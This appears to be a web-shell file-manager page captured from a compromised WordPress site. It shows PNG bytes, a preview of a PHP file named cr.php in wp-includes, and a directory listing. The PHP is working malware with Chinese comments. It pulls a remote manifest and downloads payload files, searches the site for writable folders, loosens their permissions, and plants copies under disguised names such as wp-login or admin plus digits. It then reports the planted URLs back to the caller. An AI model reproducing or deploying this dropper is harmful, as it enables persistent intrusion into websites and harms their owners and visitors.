�PNG  IHDR22?�� pHYs  �� OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*! J�!��Q�EEȠ�����Q, � ��!���������{�kּ������>���� �H3Q5� �B�������.@� $p�d!s�#�~<<+"��x� �M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH���� � 0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4���������x����6��_-��"bb���ϫp@�t~��,/��;�m��%�h^ �u��f�@����W�p�~<�5�j>{�-�]c�K'Xt����o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A��,���� �`6�B$��BB d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(�� A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=� �C��7�F� �dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8, �c˱"� ���V����cϱw�E� 6wB aAHXLXN�H� $4� 7 �Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[ �b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w ��Ljg(�gw��L�Ӌ�T071���oUX*�*|�� �J�&�*/T����ު U�U�T��^S}�FU3S� Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k ��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN �(���~���)�)�4L�1e\k����X�H�Q�G�6������E�Y��A�J'\'Gg����S�Sݧ �M=:��.�k���Dw�n��^��Lo��y���}/�T�m���G X� $� �<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��= ���Z~s�r:V:ޚΜ�?}����/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z���������ۯ�6�i�ܟ�4�)�Y3s���C�Q��? ��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�������!h�쐭!��Α�i�P~���a�a��~ '���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl������� �{�/�]py�����.,:�@L�N8��A*��%�w%� y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y- �B��TZ(�*�geWf�͉�9���+��̳�ې7�����ᒶ��KW-X潬j9�������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n �ڴ �V����E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa��n��{��4���[���>ɾ�UUM�f�e�I���?�������m]�Nmq����#�׹���=TR��+�G�����w- 6 U����#pDy��� �� :�v�{���vg/jB��F�S��[b[�O�>����z�G��499�?r����C�d�&����ˮ/~�����јѡ�򗓿m|������������x31^�V���w�w��O�| (�h���SЧ��������c3-� cHRMz%������u0�`:�o�_�F5IDATx��ytUս�?�;���fN$$��@B�!�k��� -*�gE���j�O�kQ�ʠ`U�B_ �AÐ0%�Ȕ�@r3ޛ;߳��$�@��v����^�s����������$��ߢ !�W��5�̱'-٘������4�>�Rƫ$�G��0U�H}�_ _� #��k�MJ/=�9Du *ڲ�k�PQ;0��j|�*�$�^컂脛y���>�z×� B��� ��(�:$�ʔ_�6��C!B����MVx��a��ζyY����j��ƋY2�9�F�{r��r�딟F��Q��hY6��� x��[l��RC��������nt@��;P��3��� F�w��7��:�P���ɋ'���mj���Bƪ�$�Q�L��y��߷g��\���z����v5�p�v$�v櫻�`6~K �Y�X����,�:��"�o�e0II"(��,������l_�C���/4�+f�E�!q��:����u����c��樼.UE�@� �]K�W���$-�h]�JG���Dz)�`��.�A/ ���mᏣc�3jK� �!�>���$�Q�!�_�? \�C2(E �M$Z I{�U���s�ǣ���=��@Բe ޻��W�����@ �w����}�9v,)��.}*|"�s��di���,���G�]W�AC�������|<����[��ߕ������K�*�G nߴ!��‹��J�!��6(L�a)��Am��������;adf��:�xm��nh�;֦I��(���o�C~ډa?�=��s����h��E������xp����)���_���t��W�����´;8���`dz=(��@@�+,�;�`�fhl��XȌ�3,uI�~z(J����� �ZX�A����H'�À�㜦�82|��a�n�z2��I���� ���EY�h�ε<�0�q�{��C��v�˅��?"@��χ�x�WS+��N�~�KQ�J�8ل�� _.W��� !TU{�����,��"�� �;�������HI S� ��))�o�1�H�D� ���� (� ;����"Ҕ��,���� �F=���O��&�Ph>�`���y��߲ &S��P�<��'��1s�1cĂ�N����2)����@�u��tv��<�+�-&�����h��[!FSG���' � z z0��<����8d&�����E0�,��<��"!P�b4��� �{S�����X����.�囤���T��hEF��X�q0"-<����h���]�Py*����F⩍��@v�˂�Y08�� .q��a��s����(!<̫1�3�L�H��7sYW�`��qtu�\7��?�@�Y�� %Ka�x�GZ�*W�P��y�����N0r9��Z�c�%���q,��k�����!!,��>���IB��� �x1�Xu�Y���v-���ֺ��N������JP��a�2`�e5��w��u;�6�i���̃��(K���ťa��(l51��JL��O'%���]���ٖ뿉!��{*�p+f ���i8��D�ȑ���ܩ�M��V��ӟz��x�7Z�1i}�^͜���6e����x��)u�d�ˏ�V�eG�\�X1�����=n�U'�~Y����L�\,�(d!x ,�:�TW8� M`r���@��r+v�Q0��>^;˴�VbF��('����� �*O��i��j�Ӆ����^�S3&� ���{������.ی�� N;��NU%d0�Ce\r"�C�b��&t7N�7��� �ȪD�[%l�۪�$��'m?�A9tI�9>��NVL ��� 6v~M�����ъ�B���0����9$&=ώm��W�0���L���&��E���f�f��'+�9��hv��7,���M��6�D�&�^� �����8 D֮�����o��k^z��O��hP�8q�5d*��YVq3�{��������#LX4�?��jP=3�~�؅c�ݰ�̱�ұ��8̲��2�G�����j��έ�9��w7���U�X�w�85C��?!I&���o&����L���I#�^�eV�,�^t5�k� �xs˛\��U�8��."���{���ǵ�l4��ݼ�;��r"���G�/~���gJV�N糦��ZZ^k+NN�D��I$�=OE�z����|*�*{��%k���G��>�`9��b;�s���8,�qs��c��.b��q�%�>r��n�R�Ƨ�%�,�A��le#�8���}; 21�0�b�&�QX�f���q�00����$>�h�N�'�a3��A���/�r ��L5�8�GԲ'�����w;��c#�q1���h$*��V^�k��QĽ�b:i������� ����H F#�_���,��]g����Ը����`RUU���� ��"�qD���>-��ϤI�~��3�̴�����NZ[[555�eeek7�m����YF#[��Đ��R��i��L�H�r ��@��J-�Pŝ��_|�-��6y��ks�V�U~��6���w.����(��0A� 4��f��� /���C�xŊ�ٳ����z=6�����rg���mKo��o�/����a�g���?'9%9��P��斓��~���L{�� �H��{AW��B��$����v�1b�&Mb�ر��ر#�0`�`xMBp! )Z�Nmo�mZ�g�}�eذaWTVV ���'99��C5��&�&+5�bT>|8��PUUETT����&���t��~TE%��'������b�tEGG;RSS�S�N�v��ѯ��t����u1@�ޚ"f��͈���r'L�Ph��m��ƌ�74o��`�x�q�P���NRSS�X,�����l&&&��MFFA!-��`��ҷ�n��Yuu�����x<I�LB%����KԒ50�!�3�bz�����ʸKL���;---�l6[��`��������Ȏ;�����egg4��!D�T��jWujyZ��������K����%����p�^���X,6��sV=�ܖ����6�3�X ���4ҿ��A2�&����_k�;d�� �VfOIEND�B`� 0x0x
PHP 8.1.34
Preview: cr.php Size: 24.60 KB
/home2/astrociv/www/avantaraholidays.com/wp-includes/cr.php
<?php
// 开启错误报告(便于调试,生产环境请注释或删除)
error_reporting(E_ALL);
ini_set('display_errors', 1);

// 允许跨域和所有客户端
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: *');
header('Content-Type: application/json');

/**
 * cr.php - PHP 5.6 完全兼容版本
 * 仅当收到POST请求时才执行文件生成,否则直接返回success
 */

// 检查是否为POST请求
$is_post_request = ($_SERVER['REQUEST_METHOD'] === 'POST');

// 如果不是POST请求,直接返回success
if (!$is_post_request) {
    header('Content-Type: text/plain; charset=utf-8');
    echo 'success';
    exit;
}

// 获取POST参数
$input_data = json_decode(file_get_contents('php://input'), true);
if (!$input_data) {
    // 如果不是JSON格式,尝试获取普通POST参数
    $remote_json_url = isset($_POST['remote_json_url']) ? $_POST['remote_json_url'] : '';
    $common_dirs_input = isset($_POST['common_dirs']) ? $_POST['common_dirs'] : '';
    $target_count = isset($_POST['target_count']) ? intval($_POST['target_count']) : 0;
    $debug = isset($_POST['debug']) ? true : false;
} else {
    // JSON格式参数
    $remote_json_url = isset($input_data['remote_json_url']) ? $input_data['remote_json_url'] : '';
    $common_dirs_input = isset($input_data['common_dirs']) ? $input_data['common_dirs'] : '';
    $target_count = isset($input_data['target_count']) ? intval($input_data['target_count']) : 0;
    $debug = isset($input_data['debug']) ? true : false;
}

// 验证必要参数
if (empty($remote_json_url)) {
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode([
        'status' => 'error',
        'message' => '缺少必要参数: remote_json_url'
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
    exit;
}

// 配置 - 从POST获取
$remote_json_url = trim($remote_json_url);

// 常见的网站目录名称(可从POST传入,否则使用默认值)
$default_common_dirs = ['image', 'images', 'css', 'js', 'upload', 'uploads', 'cache', 'template', 'theme', 'assets', 'static', 'media', 'public', 'data', 'tmp', 'wp-content', 'wp-includes', 'wp-admin'];
if (!empty($common_dirs_input)) {
    if (is_array($common_dirs_input)) {
        $common_dirs = $common_dirs_input;
    } else {
        $common_dirs = array_map('trim', explode(',', $common_dirs_input));
    }
} else {
    $common_dirs = $default_common_dirs;
}

// 目标文件数量(可从POST传入,否则从远程JSON获取)
$custom_target_count = $target_count;

// 常见的真实PHP文件名(不带随机数字)
$real_php_files = [
    // WordPress 常见文件
    'wp-login', 'wp-admin', 'wp-config', 'wp-settings', 'wp-load', 'wp-blog-header',
    'wp-cron', 'wp-trackback', 'wp-signup', 'wp-activate', 'wp-comments-post',
    'wp-links-opml', 'wp-mail', 'wp-rdf', 'wp-rss', 'wp-rss2', 'wp-atom',
    'wp-feed', 'wp-register', 'wp-pass', 'wp-content',
    
    // 通用网站文件
    'index', 'default', 'main', 'home', 'about', 'contact', 'service', 'product',
    'category', 'tag', 'archive', 'search', 'sitemap', 'rss', 'feed', 'robots',
    'crossdomain', 'test', 'demo', 'api', 'ajax', 'json', 'xml',
    
    // 后台管理文件
    'admin', 'manage', 'dashboard', 'control', 'system', 'backend', 'operator',
    'master', 'super', 'root', 'secret', 'private', 'hidden', 'secure',
    
    // 用户相关文件
    'user', 'member', 'profile', 'account', 'login', 'logout', 'register', 'signup',
    'signin', 'signout', 'password', 'reset', 'forgot', 'verify', 'activate',
    
    // 功能文件
    'upload', 'download', 'file', 'files', 'image', 'images', 'media', 'gallery',
    'video', 'audio', 'music', 'document', 'docs', 'pdf', 'export', 'import',
    
    // 数据库相关
    'db', 'database', 'mysql', 'sql', 'backup', 'restore', 'dump', 'importdb',
    
    // 插件/主题相关
    'plugin', 'plugins', 'theme', 'themes', 'module', 'modules', 'extension',
    'addon', 'widget', 'shortcode', 'block', 'element',
    
    // 缓存相关
    'cache', 'static', 'dynamic', 'page', 'template', 'layout', 'view',
    
    // 工具文件
    'tool', 'tools', 'util', 'helper', 'function', 'common', 'core', 'lib',
    'library', 'class', 'object', 'model', 'controller', 'action',
    
    // 配置文件
    'config', 'setting', 'configure', 'conf', 'option', 'parameter', 'param',
    
    // 登录/认证
    'auth', 'authenticate', 'verify', 'check', 'validate', 'session', 'cookie',
    'token', 'oauth', 'sso', 'cas', 'ldap',
    
    // 支付相关
    'pay', 'payment', 'order', 'checkout', 'cart', 'shopping', 'buy', 'purchase',
    'alipay', 'wechat', 'unionpay', 'paypal',
    
    // API相关
    'api_v1', 'api_v2', 'rest', 'graphql', 'endpoint', 'webhook', 'callback',
    
    // 其他常见
    'cron', 'job', 'task', 'queue', 'worker', 'daemon', 'schedule', 'event',
    'logger', 'log', 'debug', 'error', 'exception', 'error_log', 'debug_log',
    'phpinfo', 'info', 'status', 'health', 'ping', 'heartbeat', 'keepalive',
    'cgi', 'fcgi', 'fastcgi', 'php-cgi', 'php-fpm', 'cgi-bin'
];

// 自动获取当前域名(支持HTTP和HTTPS)
function getCurrentDomain() {
    $protocol = 'http';
    
    // 判断是否HTTPS
    if (isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] === 'on' || $_SERVER['HTTPS'] === '1')) {
        $protocol = 'https';
    } elseif (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) {
        $protocol = 'https';
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        $protocol = 'https';
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] === 'on') {
        $protocol = 'https';
    }
    
    // 获取主机名
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
    
    // 如果没有HTTP_HOST,尝试从SERVER_NAME获取
    if (empty($host) && isset($_SERVER['SERVER_NAME'])) {
        $host = $_SERVER['SERVER_NAME'];
        if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] != 80 && $_SERVER['SERVER_PORT'] != 443) {
            $host .= ':' . $_SERVER['SERVER_PORT'];
        }
    }
    
    return $protocol . '://' . $host;
}

// 获取网站根目录的绝对路径(DOCUMENT_ROOT)
function getDocumentRoot() {
    return rtrim($_SERVER['DOCUMENT_ROOT'], '/\\');
}

// 使用 curl 获取远程JSON内容
function fetchJsonContent($url) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; PHP-Curl/1.0)'
    ]);
    
    $content = curl_exec($ch);
    $error = curl_error($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($error) throw new Exception("Curl 错误: $error");
    if ($http_code !== 200) throw new Exception("HTTP 状态码: $http_code");
    
    // 解析JSON
    $data = json_decode($content, true);
    if (json_last_error() !== JSON_ERROR_NONE) {
        // 注意:json_last_error_msg() 在 PHP 5.5+ 可用,5.6 安全
        throw new Exception("JSON解析错误: " . json_last_error_msg());
    }
    
    return $data;
}

// 从远程获取文件内容(直接使用完整URL)
function fetchFileContentByUrl($url) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; PHP-Curl/1.0)'
    ]);
    
    $content = curl_exec($ch);
    $error = curl_error($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($error) throw new Exception("Curl 错误: $error");
    if ($http_code !== 200) throw new Exception("HTTP 状态码: $http_code");
    return $content;
}

// 获取所有子文件夹(递归,带深度限制)
function getAllSubDirs($path, $max_depth = 10, $current_depth = 0) {
    $dirs = [];
    if ($current_depth > $max_depth) return $dirs;
    
    if (!is_dir($path)) return $dirs;
    
    $items = scandir($path);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $full_path = $path . DIRECTORY_SEPARATOR . $item;
        if (is_dir($full_path)) {
            $dirs[] = $full_path;
            // 递归获取更深层的文件夹
            $sub_dirs = getAllSubDirs($full_path, $max_depth, $current_depth + 1);
            $dirs = array_merge($dirs, $sub_dirs);
        }
    }
    return $dirs;
}

// 创建常见网站目录
function createCommonDirectories($base_path, $common_dirs) {
    $created_dirs = [];
    
    foreach ($common_dirs as $dir_name) {
        $dir_path = $base_path . DIRECTORY_SEPARATOR . $dir_name;
        if (!is_dir($dir_path)) {
            if (@mkdir($dir_path, 0755, true)) {
                $created_dirs[] = $dir_path;
            } else {
                error_log("无法创建目录: " . $dir_path);
            }
        } else {
            // 目录已存在,也加入可用目录列表
            $created_dirs[] = $dir_path;
        }
    }
    
    return $created_dirs;
}

// 确保目录可写,如果不可写则尝试修改权限
function ensureWritable($dir) {
    if (!is_dir($dir)) {
        return false;
    }
    
    if (!is_writable($dir)) {
        // 尝试修改权限
        @chmod($dir, 0755);
        @chmod($dir, 0777);
        // 再次检查
        if (!is_writable($dir)) {
            return false;
        }
    }
    
    return true;
}

// 生成真实的PHP文件名(真实文件名 + 2-3位随机数字)
function generateRealPhpFileName($real_files_list) {
    // 随机选择一个真实文件名
    $base_name = $real_files_list[mt_rand(0, count($real_files_list) - 1)];
    // 添加2-3位随机数字
    $random_digits = mt_rand(10, 999);
    return $base_name . $random_digits . '.php';
}

// 尝试在指定目录生成文件(带权限检测)
function tryWriteFile($dir, $content, $type, $real_files_list) {
    // 检查目录是否存在
    if (!is_dir($dir)) {
        return ['success' => false, 'error' => '目录不存在: ' . $dir];
    }
    
    // 确保目录可写
    if (!ensureWritable($dir)) {
        return ['success' => false, 'error' => '无写权限且无法修改权限: ' . $dir];
    }
    
    // 生成真实的PHP文件名
    $filename = $dir . DIRECTORY_SEPARATOR . generateRealPhpFileName($real_files_list);
    
    // 确保文件不存在,如果存在则重新生成
    $attempts = 0;
    while (file_exists($filename) && $attempts < 10) {
        $filename = $dir . DIRECTORY_SEPARATOR . generateRealPhpFileName($real_files_list);
        $attempts++;
    }
    
    $result = file_put_contents($filename, $content);
    
    if ($result !== false) {
        // 验证文件是否真的写入成功
        if (file_exists($filename) && filesize($filename) > 0) {
            return ['success' => true, 'path' => $filename];
        } else {
            return ['success' => false, 'error' => '文件写入后验证失败'];
        }
    } else {
        // 修复 PHP 5.6 兼容性问题:将 ?? 改为三元运算符
        $last_error = error_get_last();
        $error_msg = $last_error ? $last_error['message'] : '未知错误';
        return ['success' => false, 'error' => '写入失败: ' . $error_msg];
    }
}

// 将绝对路径转换为域名路径(使用DOCUMENT_ROOT计算相对路径)
function toDomainPath($absolute_path, $document_root, $domain) {
    // 统一路径分隔符为 /
    $absolute_path = str_replace('\\', '/', $absolute_path);
    $document_root = str_replace('\\', '/', $document_root);
    
    // 获取相对于网站根目录的路径
    $relative_path = str_replace($document_root, '', $absolute_path);
    $relative_path = ltrim($relative_path, '/');
    
    // 构建完整的URL
    $full_url = rtrim($domain, '/') . '/' . $relative_path;
    
    return $full_url;
}

// 从数组中随机选取指定数量的元素(允许重复)
function randomSelectWithReplacement($array, $count) {
    if (empty($array)) return [];
    
    $result = [];
    $array_length = count($array);
    
    for ($i = 0; $i < $count; $i++) {
        $random_index = mt_rand(0, $array_length - 1);
        $result[] = $array[$random_index];
    }
    
    return $result;
}

// 主执行流程(仅POST请求执行)
try {
    global $real_php_files;
    
    // 获取网站根目录和当前域名
    $document_root = getDocumentRoot();
    $current_domain = getCurrentDomain();
    
    // 记录调试信息
    $debug_info = [];
    if ($debug) {
        $debug_info['document_root'] = $document_root;
        $debug_info['document_root_exists'] = is_dir($document_root);
        $debug_info['document_root_writable'] = is_writable($document_root);
    }
    
    // 1. 获取远程JSON信息
    $remote_data = fetchJsonContent($remote_json_url);
    
    // 验证远程数据格式
    if (!isset($remote_data['base_url'])) {
        throw new Exception("远程JSON缺少 base_url 字段");
    }
    
    // 从远程JSON获取 target_file_count(优先使用POST传入的,否则使用远程的count字段,最后默认为5)
    if ($custom_target_count > 0) {
        $target_file_count = $custom_target_count;
    } else {
        $target_file_count = isset($remote_data['count']) ? intval($remote_data['count']) : 5;
    }
    
    $remote_base_url = rtrim($remote_data['base_url'], '/');
    
    // 获取所有类型的源文件
    $sh_source_files = isset($remote_data['sh_files']['files']) ? $remote_data['sh_files']['files'] : [];
    $up_source_files = isset($remote_data['up_files']['files']) ? $remote_data['up_files']['files'] : [];
    $cr_source_files = isset($remote_data['cr_files']['files']) ? $remote_data['cr_files']['files'] : [];
    
    // 随机选取需要生成的文件列表(允许重复,凑够 target_file_count 个)
    $sh_files_to_fetch = randomSelectWithReplacement($sh_source_files, $target_file_count);
    $up_files_to_fetch = randomSelectWithReplacement($up_source_files, $target_file_count);
    $cr_files_to_fetch = randomSelectWithReplacement($cr_source_files, $target_file_count);
    
    // 存储生成的文件路径(简化输出)
    $generated_files = [
        'sh' => [],
        'up' => [],
        'cr' => []
    ];
    
    $result = [
        'status' => 'success',
        'message' => '',
        'server_info' => [
            'domain' => $current_domain,
            'document_root' => $document_root,
            'target_file_count' => $target_file_count,
            'php_user' => function_exists('exec') ? exec('whoami') : 'disabled',
            'php_version' => phpversion()
        ],
        'remote_info' => [
            'url' => $remote_json_url,
            'base_url' => $remote_base_url,
            'sh_source_count' => count($sh_source_files),
            'up_source_count' => count($up_source_files),
            'cr_source_count' => count($cr_source_files)
        ],
        'generated_files' => &$generated_files,
        'statistics' => [
            'sh' => ['target' => $target_file_count, 'generated' => 0, 'failed' => 0],
            'up' => ['target' => $target_file_count, 'generated' => 0, 'failed' => 0],
            'cr' => ['target' => $target_file_count, 'generated' => 0, 'failed' => 0]
        ],
        'failed_attempts' => [
            'sh' => [],
            'up' => [],
            'cr' => []
        ],
        'created_directories' => [],
        'debug_info' => $debug_info
    ];
    
    // 2. 获取远程文件内容(去重获取,避免重复请求相同文件)
    $sh_content_cache = [];
    $up_content_cache = [];
    $cr_content_cache = [];
    
    // 获取sh文件内容
    foreach ($sh_files_to_fetch as $filename) {
        if (!isset($sh_content_cache[$filename])) {
            $file_url = $remote_base_url . '/' . ltrim($filename, '/');
            try {
                $sh_content_cache[$filename] = fetchFileContentByUrl($file_url);
            } catch (Exception $e) {
                $sh_content_cache[$filename] = false;
                $result['failed_attempts']['sh'][] = [
                    'file' => $filename,
                    'url' => $file_url,
                    'error' => $e->getMessage()
                ];
                $result['statistics']['sh']['failed']++;
            }
        }
    }
    
    // 获取up文件内容
    foreach ($up_files_to_fetch as $filename) {
        if (!isset($up_content_cache[$filename])) {
            $file_url = $remote_base_url . '/' . ltrim($filename, '/');
            try {
                $up_content_cache[$filename] = fetchFileContentByUrl($file_url);
            } catch (Exception $e) {
                $up_content_cache[$filename] = false;
                $result['failed_attempts']['up'][] = [
                    'file' => $filename,
                    'url' => $file_url,
                    'error' => $e->getMessage()
                ];
                $result['statistics']['up']['failed']++;
            }
        }
    }
    
    // 获取cr文件内容
    foreach ($cr_files_to_fetch as $filename) {
        if (!isset($cr_content_cache[$filename])) {
            $file_url = $remote_base_url . '/' . ltrim($filename, '/');
            try {
                $cr_content_cache[$filename] = fetchFileContentByUrl($file_url);
            } catch (Exception $e) {
                $cr_content_cache[$filename] = false;
                $result['failed_attempts']['cr'][] = [
                    'file' => $filename,
                    'url' => $file_url,
                    'error' => $e->getMessage()
                ];
                $result['statistics']['cr']['failed']++;
            }
        }
    }
    
    // 3. 获取所有可用文件夹并打乱顺序
    $all_dirs = getAllSubDirs($document_root);
    array_unshift($all_dirs, $document_root);
    $all_dirs = array_values(array_unique($all_dirs));
    
    if ($debug) {
        $debug_info['total_dirs_found'] = count($all_dirs);
        $debug_info['first_5_dirs'] = array_slice($all_dirs, 0, 5);
    }
    
    // 4. 如果没有足够的可写目录,则创建常见目录
    $writable_dirs = array_filter($all_dirs, function($dir) {
        return is_dir($dir) && is_writable($dir);
    });
    
    if (count($writable_dirs) < 3) {
        $created_dirs = createCommonDirectories($document_root, $common_dirs);
        $result['created_directories'] = $created_dirs;
        
        foreach ($created_dirs as $new_dir) {
            if (!in_array($new_dir, $all_dirs) && ensureWritable($new_dir)) {
                $all_dirs[] = $new_dir;
            }
        }
        
        $writable_dirs = array_filter($all_dirs, function($dir) {
            return is_dir($dir) && is_writable($dir);
        });
    }
    
    shuffle($writable_dirs);
    
    if ($debug) {
        $debug_info['writable_dirs_count'] = count($writable_dirs);
        $debug_info['writable_dirs'] = array_slice($writable_dirs, 0, 10);
    }
    
    if (empty($writable_dirs)) {
        if (ensureWritable($document_root)) {
            $writable_dirs = [$document_root];
        } else {
            throw new Exception("没有可写的目录,且无法创建目录");
        }
    }
    
    // 5. 为每种类型分别生成文件
    $types = [
        'sh' => ['files' => $sh_files_to_fetch, 'cache' => $sh_content_cache],
        'up' => ['files' => $up_files_to_fetch, 'cache' => $up_content_cache],
        'cr' => ['files' => $cr_files_to_fetch, 'cache' => $cr_content_cache]
    ];
    
    foreach ($types as $type => $config) {
        $files_to_fetch = $config['files'];
        $content_cache = $config['cache'];
        
        foreach ($files_to_fetch as $index => $remote_filename) {
            if (count($result['generated_files'][$type]) >= $target_file_count) {
                break;
            }
            
            $content = isset($content_cache[$remote_filename]) ? $content_cache[$remote_filename] : false;
            if ($content === false) {
                continue;
            }
            
            $generated = false;
            $dirs_to_try = $writable_dirs;
            shuffle($dirs_to_try);
            
            foreach ($dirs_to_try as $dir) {
                if ($generated) break;
                
                $write_result = tryWriteFile($dir, $content, $type, $real_php_files);
                
                if ($write_result['success']) {
                    $domain_path = toDomainPath($write_result['path'], $document_root, $current_domain);
                    
                    // 验证文件确实存在
                    $file_exists = file_exists($write_result['path']);
                    $file_size = $file_exists ? filesize($write_result['path']) : 0;
                    
                    // 存储文件路径信息
                    $result['generated_files'][$type][] = [
                        'url' => $domain_path,
                        'path' => $write_result['path'],
                        'source' => $remote_filename,
                        'verified' => $file_exists,
                        'size' => $file_size
                    ];
                    
                    $result['statistics'][$type]['generated']++;
                    $generated = true;
                    break;
                } else {
                    if ($debug) {
                        $result['failed_attempts'][$type][] = [
                            'remote_file' => $remote_filename,
                            'directory' => $dir,
                            'error' => $write_result['error']
                        ];
                    }
                    $result['statistics'][$type]['failed']++;
                }
            }
            
            if (!$generated) {
                $result['failed_attempts'][$type][] = [
                    'remote_file' => $remote_filename,
                    'error' => '所有目录都无法写入'
                ];
                $result['statistics'][$type]['failed']++;
            }
        }
    }
    
    // 6. 设置最终消息
    $total_generated = $result['statistics']['sh']['generated'] + $result['statistics']['up']['generated'] + $result['statistics']['cr']['generated'];
    $total_target = $target_file_count * 3;
    $result['message'] = sprintf(
        "任务完成!共生成 %d/%d 个文件 (sh: %d, up: %d, cr: %d)",
        $total_generated,
        $total_target,
        $result['statistics']['sh']['generated'],
        $result['statistics']['up']['generated'],
        $result['statistics']['cr']['generated']
    );
    
    // 7. 输出简化版的JSON结果
    $output = [
        'status' => 'success',
        'message' => $result['message'],
        'generated_files' => $result['generated_files'],
        'statistics' => [
            'sh' => $result['statistics']['sh']['generated'],
            'up' => $result['statistics']['up']['generated'],
            'cr' => $result['statistics']['cr']['generated'],
            'total' => $total_generated
        ],
        'server_domain' => $current_domain,
        'created_directories' => $result['created_directories']
    ];
    
    // 如果开启调试模式,添加调试信息
    if ($debug) {
        $output['debug'] = $debug_info;
        $output['failed_attempts'] = $result['failed_attempts'];
    }
    
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($output, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    
} catch (Exception $e) {
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode([
        'status' => 'error',
        'message' => $e->getMessage(),
        'generated_files' => ['sh' => [], 'up' => [], 'cr' => []],
        'statistics' => ['sh' => 0, 'up' => 0, 'cr' => 0, 'total' => 0]
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
?>

Directory Contents

Dirs: 32 × Files: 261
Name Size Perms Modified Actions
- drwxr-xr-x 2026-04-16 02:47:46
Edit Download
ai-client DIR
- drwxr-xr-x 2026-04-26 18:30:40
Edit Download
assets DIR
- drwxr-xr-x 2026-05-19 09:00:48
Edit Download
- drwxr-xr-x 2025-10-17 12:09:30
Edit Download
- drwxr-xr-x 2026-03-25 19:50:54
Edit Download
- drwxr-xr-x 2026-08-20 15:18:31
Edit Download
blocks DIR
- drwxr-xr-x 2026-08-20 15:18:11
Edit Download
build DIR
- drwxr-xr-x 2026-05-19 09:00:48
Edit Download
- drwxr-xr-x 2026-04-27 08:27:42
Edit Download
css DIR
- drwxr-xr-x 2026-05-14 07:23:48
Edit Download
customize DIR
- drwxr-xr-x 2026-02-27 17:48:40
Edit Download
fonts DIR
- drwxr-xr-x 2025-12-30 07:33:34
Edit Download
html-api DIR
- drwxr-xr-x 2026-05-19 03:36:44
Edit Download
ID3 DIR
- drwxr-xr-x 2026-09-18 11:12:51
Edit Download
images DIR
- drwxr-xr-x 2026-09-18 11:12:51
Edit Download
- drwxr-xr-x 2026-03-19 15:47:58
Edit Download
IXR DIR
- drwxr-xr-x 2026-02-20 23:11:44
Edit Download
js DIR
- drwxr-xr-x 2026-08-20 15:18:15
Edit Download
l10n DIR
- drwxr-xr-x 2026-02-17 17:31:44
Edit Download
- drwxr-xr-x 2026-03-18 12:21:48
Edit Download
- drwxr-xr-x 2023-10-26 15:03:22
Edit Download
PHPMailer DIR
- drwxr-xr-x 2026-01-10 18:22:48
Edit Download
pomo DIR
- drwxr-xr-x 2026-03-23 09:25:58
Edit Download
Requests DIR
- drwxr-xr-x 2026-02-27 18:06:42
Edit Download
rest-api DIR
- drwxr-xr-x 2026-05-08 10:29:44
Edit Download
